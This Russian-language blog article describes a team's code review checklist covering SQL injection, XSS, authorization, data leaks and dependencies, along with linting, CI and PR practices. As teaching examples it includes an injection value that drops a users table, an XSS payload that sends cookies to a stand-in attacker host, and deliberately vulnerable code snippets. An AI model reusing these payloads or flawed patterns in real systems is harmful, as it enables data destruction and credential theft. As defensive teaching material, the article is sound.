Как мы проводим code review: чек-лист безопасности и качества.

Зачем проверять код, если он "и так работает"

Code review (проверка кода) - это когда один разработчик проверяет код, написанный другим, перед тем как этот код попадёт в основной проект. Звучит как бюрократия? На самом деле это одна из самых полезных практик в разработке.

Аналогия: представьте, что вы написали важное письмо клиенту. Вы можете отправить его сразу - но если коллега прочитает перед отправкой, он заметит опечатку, неточную формулировку или забытое вложение. Это и есть "review" - проверка перед отправкой.

Code review решает четыре задачи:

• Безопасность - находить уязвимости ДО того, как они попадут к пользователям
• Качество - поддерживать читаемый и единообразный код
• Обмен знаниями - каждый в команде понимает, как работает весь проект (а не только своя часть)
• Страховка от "bus factor" - если автор кода уйдёт в отпуск (или уволится), кто-то ещё разбирается в этом модуле

Мы проводим code review для каждого Pull Request, без исключений. Даже "просто поменял текст кнопки" - потому что именно в таких "безобидных" коммитах прячутся случайно добавленные файлы с паролями.

Чек-лист безопасности: что проверяем в первую очередь

Безопасность - приоритет номер один. Баг в дизайне - это неудобство. Уязвимость в безопасности - это утечка данных пользователей, штрафы и потеря репутации.

1. SQL-инъекции (самая опасная уязвимость)

// SQL-инъекция - это когда злоумышленник может "допишать" ваш SQL-запрос
// и выполнить произвольные команды в базе данных

// ПЛОХО: пользовательский ввод вставляется прямо в SQL
// Если name = "'; DROP TABLE users; --"
// запрос станет: SELECT * FROM users WHERE name = ''; DROP TABLE users; --'
// и удалит всю таблицу пользователей!
const users = await db.query(`SELECT * FROM users WHERE name = '${name}'`)

// ХОРОШО: параметризованный запрос (знак ? заменяется безопасно)
// База данных ЗНАЕТ, что это данные, а не часть SQL
// Даже если name = "'; DROP TABLE users; --",
// запрос просто ищет пользователя с таким длинным именем
const users = await db.query('SELECT * FROM users WHERE name = ?', [name])

// ХОРОШО: ORM (Prisma) - SQL-инъекция невозможна в принципе
// Потому что вы вообще не пишете SQL
const users = await prisma.user.findMany({ where: { name } })

// ЧТО ИЩЕМ ПРИ REVIEW:
// - Шаблонные строки (` `) с SQL - КРАСНЫЙ ФЛАГ
// - raw SQL запросы - проверяем, есть ли параметризация
// - Prisma.$queryRaw() или Sequelize.literal() - проверяем экранирование

2. XSS (Cross-Site Scripting)

XSS - это когда злоумышленник может вставить свой JavaScript-код на вашу страницу. Например, через комментарий: вместо текста пишет <script>alert('hacked')</script>. Если сайт показывает этот комментарий без очистки - скрипт выполнится у всех, кто его увидит.

// ПЛОХО: вставка пользовательского HTML напрямую
// Если userInput = "<script>fetch('https://hacker.com/steal?'+document.cookie)</script>"
// этот скрипт выполнится и украдёт cookies всех посетителей!
element.innerHTML = userInput

// В React:
// dangerouslySetInnerHTML - название говорит само за себя: ОПАСНО
<div dangerouslySetInnerHTML={{ __html: userInput }} />

// ХОРОШО: текстовый контент (автоматически экранируется)
// Браузер показывает "<script>..." как обычный текст, не выполняет
element.textContent = userInput

// React по умолчанию экранирует всё - это безопасно:
<div>{userInput}</div>
// React превратит <script> в &lt;script&gt; - просто текст

// Если dangerouslySetInnerHTML НЕОБХОДИМ (например, для статей из CMS):
// Обязательно очищаем HTML библиотекой DOMPurify
import DOMPurify from 'dompurify'
<div dangerouslySetInnerHTML={{
  __html: DOMPurify.sanitize(htmlContent)
  // DOMPurify удаляет все опасные теги (<script>, <iframe>, onclick=...)
  // и оставляет только безопасные (<p>, <b>, <a>, <img>...)
}} />

// ЧТО ИЩЕМ ПРИ REVIEW:
// - dangerouslySetInnerHTML без DOMPurify - КРАСНЫЙ ФЛАГ
// - innerHTML в vanilla JS - заменить на textContent
// - Динамические URL в href/src - проверить на javascript: протокол
// - Данные пользователя в атрибутах без экранирования

3. Проверка авторизации и прав доступа

// Каждый endpoint должен проверять: КТО делает запрос и ИМЕЕТ ЛИ ПРАВО

// ПЛОХО: endpoint без проверки - ЛЮБОЙ может удалить ЛЮБОГО пользователя
// Достаточно знать ID (который часто последовательный: 1, 2, 3...)
app.delete('/api/users/:id', async (req, res) => {
  await db.query('DELETE FROM users WHERE id = ?', [req.params.id])
  res.json({ success: true })
  // Злоумышленник: DELETE /api/users/1 - удалил админа!
})

// ХОРОШО: проверяем и авторизацию, и права
app.delete('/api/users/:id', authMiddleware, async (req, res) => {
  // authMiddleware уже проверил, что пользователь залогинен
  // Теперь проверяем ПРАВА:
  // Пользователь может удалить ТОЛЬКО СВОЙ аккаунт
  // ИЛИ если он администратор
  if (req.user.id !== req.params.id && req.user.role !== 'admin') {
    return res.status(403).json({ error: 'Недостаточно прав' })
  }
  await db.query('DELETE FROM users WHERE id = ?', [req.params.id])
  res.json({ success: true })
})

// ЧТО ИЩЕМ ПРИ REVIEW:
// - Каждый POST/PUT/DELETE имеет authMiddleware? Если нет - КРАСНЫЙ ФЛАГ
// - Проверка ownership: пользователь меняет СВОИ данные, не чужие
// - Проверка ролей: admin-функции недоступны обычным пользователям
// - IDOR (Insecure Direct Object Reference): можно ли подменить ID в URL?

4. Утечка данных

// ПЛОХО: возвращаем ВСЕ поля из базы данных
// SELECT * - это ленивое решение, которое может вернуть пароли!
app.get('/api/users/:id', async (req, res) => {
  const user = await db.query('SELECT * FROM users WHERE id = ?', [req.params.id])
  res.json(user)
  // Ответ: { id: 1, name: "Иван", email: "[email protected]",
  //           password_hash: "$2b$10$...", phone: "+79...", ... }
  // Хеш пароля уехал клиенту! Телефон тоже!
})

// ХОРОШО: возвращаем только нужные поля
app.get('/api/users/:id', async (req, res) => {
  const user = await prisma.user.findUnique({
    where: { id: req.params.id },
    select: { id: true, name: true, avatar: true },
    // Только публичные поля. Пароль, email, телефон - не отдаём
  })
  res.json(user)
})

// ЧТО ИЩЕМ ПРИ REVIEW:
// - SELECT * - почти всегда плохо (явно перечисляйте поля)
// - console.log с данными пользователей (пароли, токены)
// - Файлы .env, credentials.json в коммите - КРАСНЫЙ ФЛАГ
// - Ошибки с stack trace на клиенте (покажите пользователю "Ошибка",
//   а подробности запишите в логи на сервере)

5. Проверка зависимостей

# Зависимости (библиотеки) - частый вектор атак
# Злоумышленник может внедрить вредоносный код в популярную библиотеку

# Проверяем зависимости на известные уязвимости
npm audit

# ЧТО ИЩЕМ ПРИ REVIEW:
# - Новые пакеты в package.json: зачем? Нет ли встроенной альтернативы?
#   (не ставьте пакет is-odd для проверки чётности числа!)
# - Непопулярные пакеты (< 1000 скачиваний/неделю) - риск supply chain атаки
# - Уязвимости: npm audit --audit-level=high
# - Заброшенные пакеты (нет обновлений > 2 лет) - возможно, не поддерживаются

Чек-лист качества кода

Понятные имена переменных и функций

// ПЛОХО: непонятные сокращения
// Через неделю даже автор не вспомнит, что это значит
const d = new Date()
const arr = users.filter(u => u.a)
function proc(x) { /* что делает? */ }

// ХОРОШО: имя объясняет назначение
// Код читается как книга
const registrationDate = new Date()
const activeUsers = users.filter(user => user.isActive)
function processPayment(order) { /* сразу понятно */ }

// Правила именования:
// - Функции - глагол: getUser(), calculateTotal(), sendEmail()
// - Булевые переменные - is/has/can: isActive, hasPermission, canEdit
// - Массивы - множественное число: users, orders, products
// - Константы - UPPER_SNAKE_CASE: MAX_RETRIES, API_BASE_URL

Простая структура (без "лесенки" из вложенных if)

// ПЛОХО: вложенные условия (arrow anti-pattern)
// Код уезжает вправо, читать невозможно
function processOrder(order) {
  if (order) {
    if (order.items.length > 0) {
      if (order.user) {
        if (order.user.isVerified) {
          // Наконец-то, основная логика...
          // А мы уже на 5-м уровне вложенности!
        }
      }
    }
  }
}

// ХОРОШО: ранний возврат (guard clauses)
// Проверяем ВСЕ условия в начале и сразу выходим, если что-то не так
function processOrder(order) {
  if (!order) throw new Error('Order is required')
  if (order.items.length === 0) throw new Error('Order has no items')
  if (!order.user) throw new Error('Order has no user')
  if (!order.user.isVerified) throw new Error('User is not verified')

  // Основная логика - чистая, без вложенности
  // Если мы дошли сюда - все условия выполнены
}

Обработка ошибок

// ПЛОХО: "проглатывание" ошибки
// Пользователь не получит email, и НИКТО не узнает об этом
try {
  await sendEmail(user.email)
} catch (e) {
  // Пустой catch - ошибка проигнорирована
}

// ПЛОХО: console.log вместо нормального логирования
// В продакшене никто не смотрит console.log
try {
  await processPayment(order)
} catch (e) {
  console.log(e)  // "Ну, я записал. В консоль. Которую никто не видит."
}

// ХОРОШО: логируем ошибку и принимаем решение
try {
  await sendEmail(user.email)
} catch (error) {
  // Записываем в систему логирования (Sentry, Winston, Pino)
  logger.error('Не удалось отправить email', {
    userId: user.id,
    email: user.email,
    error: error.message
  })
  // Решаем: критично ли это? Нужен ли retry (повторная попытка)?
  // Нужно ли уведомить пользователя?
}

Автоматизация: пусть машина проверяет то, что может

80% проверок качества кода можно автоматизировать. Человеческое review тогда фокусируется на том, что машина не может проверить: логика, архитектура, безопасность.

// .eslintrc.js - линтер автоматически находит проблемы в коде
// Линтер - как проверка орфографии, но для кода
module.exports = {
  extends: [
    'eslint:recommended',                   // Базовые правила
    'plugin:@typescript-eslint/recommended', // Правила для TypeScript
    'plugin:react-hooks/recommended',        // Правила для React hooks
  ],
  rules: {
    // Безопасность
    'no-eval': 'error',             // Запрет eval() - опасная функция
    'no-implied-eval': 'error',     // Запрет setTimeout('строка')

    // Качество кода
    'no-console': 'warn',           // Предупреждение на console.log
    'no-unused-vars': 'error',      // Ошибка на неиспользуемые переменные
    'prefer-const': 'error',        // const вместо let, если нет переприсваивания
    'eqeqeq': 'error',             // === вместо == (строгое сравнение)
  },
}

# .github/workflows/ci.yml
# Автоматическая проверка при каждом Pull Request
# Если проверки не прошли - PR нельзя слить в основной код

name: Code Quality
on: [pull_request]

jobs:
  quality:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: 20, cache: 'npm' }
      - run: npm ci
      - run: npm run lint                    # ESLint - ищет проблемы в коде
      - run: npm run typecheck               # TypeScript - проверка типов
      - run: npm test                        # Тесты - проверка работоспособности
      - run: npm audit --audit-level=high    # Проверка уязвимостей в зависимостях

Как давать и принимать обратную связь

Code review - это коммуникация между людьми. Плохая обратная связь демотивирует, хорошая - обучает и улучшает код всей команды.

// ПЛОХО: оценочные суждения без объяснения
// "Это плохой код" - что именно плохо? Как исправить?
// "Зачем ты так написал?" - звучит как обвинение
// "Надо переделать" - что переделать? Как?

// ХОРОШО: конкретика + объяснение + предложение решения
// "Здесь используется конкатенация строк в SQL-запросе.
//  Это уязвимо к SQL-инъекции.
//  Замени на параметризованный запрос: db.query('SELECT * FROM users WHERE id = ?', [id])"

// ХОРОШО: вопрос вместо утверждения (когда не уверены)
// "А что если пользователь передаст пустую строку?
//  Может стоит добавить проверку?"

// ХОРОШО: разделяем обязательное и необязательное
// [must]     - блокирует слияние. "Нет проверки авторизации!"
// [should]   - желательно. "Лучше вынести в отдельную функцию"
// [nit]      - мелочь, по желанию. "Можно переименовать data в userProfile"
// [question] - вопрос, не замечание. "Почему Map, а не обычный объект?"

Правила для того, кто проверяет:

• Критикуйте код, не автора - "В этой функции сложно разобраться" вместо "Ты написал непонятный код"
• Объясняйте ПОЧЕМУ - "Используй const, потому что переменная не переприсваивается" полезнее, чем просто "Используй const"
• Хвалите хорошие решения - позитивный фидбек мотивирует

Правила для того, чей код проверяют:

• Не принимайте на личный счёт - замечания к коду, не к вам
• Спрашивайте, если непонятно - "Можешь объяснить, почему Map лучше объекта здесь?"
• Благодарите за найденные баги - reviewer спас вас от проблемы в продакшене

Типичные проблемы, которые мы находим на review

• N+1 запросы - цикл, в котором на каждой итерации делается запрос к базе данных. 100 товаров = 100 запросов вместо одного. Решение: загружайте связанные данные одним запросом (JOIN или include в ORM)
• Утечки памяти - подписка на событие без отписки. Например, addEventListener без removeEventListener. В React: useEffect без cleanup-функции
• Race condition - два асинхронных процесса одновременно меняют одни данные. Например, два запроса одновременно обновляют баланс - один из них потеряется
• Hardcoded значения - URL, API-ключи, "магические числа" прямо в коде. Выносите в конфигурацию или переменные окружения
• Copy-paste код - одинаковый код в трёх местах. Если нужно исправить баг - придётся исправлять в трёх местах. Выделите общую функцию

Шаблон Pull Request: как описать свои изменения

Хороший Pull Request начинается с хорошего описания. Без описания reviewer тратит время на разбор "что это вообще такое?". С описанием - сразу видит контекст и может сфокусироваться на коде.

# .github/pull_request_template.md
# Этот файл автоматически заполняет описание каждого нового PR

## Что изменено
<!-- Кратко опишите суть изменений (1-3 предложения)
     Например: "Добавлена фильтрация товаров по категории.
     Новый компонент CategoryFilter + API-endpoint /api/products?category=" -->

## Зачем
<!-- Какую проблему решает? Ссылка на задачу/issue
     Например: "Закрывает #42. Пользователи жалуются, что
     не могут найти нужный товар среди 500 позиций." -->

## Как тестировать
<!-- Шаги для ручной проверки
     1. Открыть /products
     2. Нажать на фильтр "Электроника"
     3. Убедиться, что показываются только товары из категории "Электроника"
     4. Сбросить фильтр - все товары снова видны -->

## Чек-лист автора
- [ ] Код проходит линтер и TypeScript проверку
- [ ] Добавлены тесты для новой функциональности
- [ ] Нет console.log или TODO в коммитах
- [ ] Нет чувствительных данных (ключи, пароли, .env файлы)
- [ ] Проверено на мобильной версии (если UI-изменения)

## Скриншоты
<!-- Для UI-изменений: до и после -->

Как ускорить процесс review без потери качества

Долгий code review тормозит всю команду. Вот практические советы, как сделать его быстрее:

• Маленькие PR - PR на 50 строк проверяется за 10 минут. PR на 500 строк - за час (и quality review падает). Разбивайте большие задачи на маленькие PR
• Self-review - перед тем как отправить PR, пройдитесь по diff (списку изменений) сами. Вы удивитесь, сколько мелочей найдёте: забытый console.log, закомментированный код, опечатка
• Договоритесь о времени - "Review в течение 4 часов" - хорошее правило. PR, который висит 3 дня - это заблокированная задача и демотивированный автор
• Автоматизируйте рутину - пусть линтер проверяет стиль, TypeScript - типы, тесты - работоспособность. Человек проверяет логику и безопасность
• Используйте шаблон PR - описание дает reviewer контекст и ускоряет понимание "зачем это"

Реальные примеры: что мы находили на code review

Вот несколько историй из нашей практики (имена изменены):

История 1: Утечка паролей

Разработчик добавил API-endpoint для профиля пользователя. Использовал SELECT * из базы данных. В ответ API возвращал все поля, включая password_hash. Review поймал это до того, как код попал в продакшен. Исправление заняло 2 минуты. Утечка паролей стоила бы компании репутацию и штрафы.

История 2: N+1 запросы

Страница со списком заказов загружалась 8 секунд. На review обнаружили: для каждого заказа (100 штук) делался отдельный запрос к базе данных за данными покупателя. 100 заказов = 101 SQL-запрос. Заменили на один запрос с JOIN - страница стала загружаться за 200 миллисекунд.

История 3: Отсутствие проверки прав

API-endpoint для удаления комментариев проверял только авторизацию (пользователь залогинен), но не проверял права (это ЕГО комментарий). Любой залогиненный пользователь мог удалить комментарий любого другого пользователя, просто подставив другой ID в URL. Классическая IDOR-уязвимость, пойманная на review.

Итого

Code review - это не бюрократия, а инвестиция в качество и безопасность. Наш подход: автоматизировать всё, что можно (линтер, TypeScript, тесты, аудит зависимостей), а человеческое review сфокусировать на том, что машина не проверит - логика, архитектура, безопасность, читаемость.

Начните с минимума: чек-лист безопасности (SQL-инъекции, XSS, авторизация) + ESLint + TypeScript strict mode. Это закроет 80% проблем. Потом добавляйте PR-шаблоны, автоматические проверки зависимостей, отчёты о покрытии тестами. Каждый шаг - это меньше багов на продакшене и спокойнее сон по ночам.

Нужна помощь с настройкой процессов разработки, code review или CI/CD? Напишите нам - наладим процессы, которые экономят время и деньги.